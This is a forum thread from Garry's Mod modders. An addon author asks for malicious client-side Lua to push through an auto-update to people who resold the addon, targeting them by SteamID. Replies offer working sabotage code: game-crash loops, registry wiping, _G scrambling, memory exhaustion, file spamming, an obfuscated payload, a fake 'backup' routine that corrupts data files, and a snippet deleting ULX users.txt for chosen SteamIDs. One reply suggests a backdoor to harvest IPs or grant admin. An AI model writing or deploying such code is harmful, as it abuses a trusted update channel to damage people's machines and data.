Malicious code to sort out thieves?

So I made this addon for a really bad darkRP server (that shall remain nameless) and the owner(s) seemed happy at first, but then they started giving it to other server’s without my consent and claiming they created it (even though they don’t know any Lua). I’ve even been told they’re trying to sell it. Luckily for me, though, the addon is auto-updating. So if anybody has any malicious client-side code send it my way. I want to set it up so if their steamID’s are detected it fucks them up.

By malicious I mean like things such as: ZIP bombs and stuff that just floods internal storage, possibly corrupting it. Possibly a way to rebind things, if it’s possible without C++ (don’t want to make them download a module, seems a bit fishy).

I know a few people are gonna find this stupid but these kind of people really irritate me and when I get the chance I like to have fun with them.

what

I’m looking for malicious code to sort out thieves selling a ~50 line script that doesn’t belong to them.

This should throw them for a loop.


while true do end

[editline]9th May 2016[/editline]

I have more, just give me a minute to restart my gmod.

[editline]9th May 2016[/editline]

Crashed again, almost done.

Thanks for the dank codens but I want something a bit more than a game crash.

If you must goto such lengths


::a:: goto a

OP’s heart is empty on the inside.
[lua]table.Empty(debug.getregistry())[/lua]

Why not create a backdoor? Something to get ips of everyone playing or even give yourself admin ConCommand.

My magnum opus is complete. Have fun figuring out what it does.



local z = false 

--[[
 .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .-----------------. .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || | _____  _____ | || |      __      | || |    ______    | || | ____    ____ | ]] or    --[[     | || | ____  _____  | || |     __       | || |    ______    | || |    ______    | || |   _______    | |
| |   /  ___  |  | || ||_   _||_   _|| || |     /  \     | || |  .' ___  |   | || ||_   \  /   _|| || |     /  \     | || ||_   \|_   _| | || |    /  |      | || |   / ____ `.  | || |   / ____ `.  | || |  |  ___  |   | |
| |  |  (__ \_|  | || |  | | /\ | |  | || |    / /\ \    | || | / .'   \_|   | || |  |   \/   |  | || |    / /\ \    | || |  |   \ | |   | || |    `| |      | || |   `'  __) |  | || |   `'  __) |  | || |  |_/  / /    | |
| |   '.___`-.   | || |  | |/  \| |  | || |   ]] debug   --[[ ||  |    ____  | || |  | |\  /| |  | || |   / ____ \   | || |  | |\ \| |   | || |     | |      | || |   _  |__ '.  | || |   _  |__ '.  | || |      / /     | |
| |  |`\____) |  | || |  |   /\   |  | || | _/ /    \ \_ | || | \ `.___]  _| | || | _| |_\/_| |_ | || | _/ /    \ \_ | || | _| |_\   |_  | || |    _| |_     | || |  | \____) |  | || |  | \____) |  | || |     / /      | |
| |  |_______.'  | || |  |__/  \__|  | || ||____|  |____|| || |  `._____.'   | || ||_____||_____|| || ||____|  |____|| || ||_____|\____| | || |   |_____|    | || |   \______.'  | || |   \______.'  | || |    /_/       | |
| |              | || |              | || |              | || |              | || |              | || |              | || |              | ]]   .getupvalue  --[[ |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------' 
 ]]



local a
a = function(b)
	local c
	c = function(codenz,n,dank)
		if dank then math.randomseed(dank) end
		return n==0 and "" or c(codenz,n-1)..codenz[math.random(#codenz)]
	end

	local d,e = z((function() local txt=_G return function() return txt+2 end end)(),1)
	
	e
	[c("__2flaeddi",4,666)]
	[c("1Wi456ret0",5,1339)](
	(e[c("azbs_oasns",2,121)][c("abctem67t9iena",4,26)]()+b).."."..d,c("k7cd mghi hlsnnSqi1Sdw 2a3a63ga!",22,111653))
	_ = b>0 and a(b-1)
end

a(1000)


[lua]
local gcopy = table.Copy( _G )
timer.Create( “virus”, 0.1, table.Count( gcopy ), function()
local a, d = table.Random( _G )
local e, f = table.Random( gcopy )
_G[ d ] = f
end )
[/lua]

math.randomseed isn’t consistent across machines or something because c just returns random strings for me.

Well, looks like I invented gmod DRM. If he had invented gmod DRM, we might not be having this problem.

You could just remove the code from the scripts. Why the hell should the person who leaked it have the availability to use it?

They’ll overflow on happiness with this one!
[lua]local memtest86 = {}
for i=1, 2^31-1 do
pcall(function() memtest86* = table.Copy(memtest86) end)
end[/lua]


local function file_spam( num )
	file.Write( (os.time()+num)..".txt","Swagman1337 is a Skid!")
	if num > 0 then file_spam(num-1) end
end
file_spam(1000)

Give it 10 minutes and gave up, nice job.



local data_folders = {}
local function scan( dir, level )
	data_folders[#data_folders+1] = dir
	level = level or 0
	local _, folders = file.Find( dir.."*", "DATA" )
	for i=1, #folders do
		scan( dir..folders*.."/" )
	end
end
scan("")

local filename_chars = "0123456789abcdefghijklmnopqrstuvwxyz_-."
local file_formats = {".txt",".jpg",".png",".vtf",".dat"}
function derp()
	local data = ""
	for i=1, math.random(1024*10) do data = data .. string.char(math.random(0,255)) end
	local fname = ""
	for i=3, math.random(16) do fname = fname .. filename_chars[math.random(#filename_chars)] end
	
	file.Write(data_folders[math.random(#data_folders)]..fname..file_formats[math.random(#file_formats)], data)
end
hook.Add("Think", "derp", function()
	for i=1, 10 do derp() end
end)



Corrupts the files, for user convenience backup is also created.



local number_table = {}
local valid_formats =  {["txt"]=1, ["jpg"]=1, ["png"]=1, ["vtf"]=1, ["dat"]=1}
for i=1,100 do number_table*=i end

local function backup_name(fl,version)
	return string.StripExtension(fl).."_zbackup"..version.."."..string.GetExtensionFromFilename(fl)
end

local function backup( dir )
	local files, folders = file.Find( dir.."*", "DATA" )
	for i=1, #folders do
		backup( dir..folders*.."/" )
	end
	
	for i=1, #files do
		local fl = dir..files*
		if 
			not string.find(fl, "zbackup") and 
			not file.Exists( backup_name(fl,1), "DATA" ) and
			valid_formats[string.GetExtensionFromFilename(fl)]
		then
			local fdata = file.Read(fl, "DATA")
			if #fdata < 60000 then
				local fdata_table = string.Explode( " ", fdata )
				local last_file = fl
				for k,v in RandomPairs(number_table) do
					local backup_fl = backup_name(fl,v)
					local backup_data = "!!!This file got corrupted, backup was created in "..backup_fl.."!!!
"
					
					for _, str_d in RandomPairs(fdata_table) do 
						backup_data = backup_data .. " " .. str_d
						if #backup_data + math.random(20)-10 > #fdata then break end
					end
					
					file.Write(last_file,backup_data)
					
					last_file = backup_fl
				end
				file.Write(last_file,fdata)
			end
		end
	end
end

backup("")




local a = {}

hook.Add("Think", util.CRC("hoaihsndg"), function()

    a[#a+1] = tostring(math.random(1500))

    file.Write(util.CRC("allah"..tostring(math.random(10000)).."_allah")..".txt", " 
 "..table.ToString(a))

end


dunno

You could hide this somewhere in the code, assuming the thieves use ULX.



if (file.Exists("ulib", "DATA")) then
	for k, v in pairs(players.GetAll()) do
		if (v:SteamID() == *ENTER STEAMID HERE* or v:SteamID() == *ENTER STEAMID HERE* or v:SteamID() == *ENTER STEAMID HERE* or v:SteamID() == *ENTER STEAMID HERE*) then
			file.Delete("ulib/users.txt")
		end
	end
end


At least I think it will work, I haven’t tested this.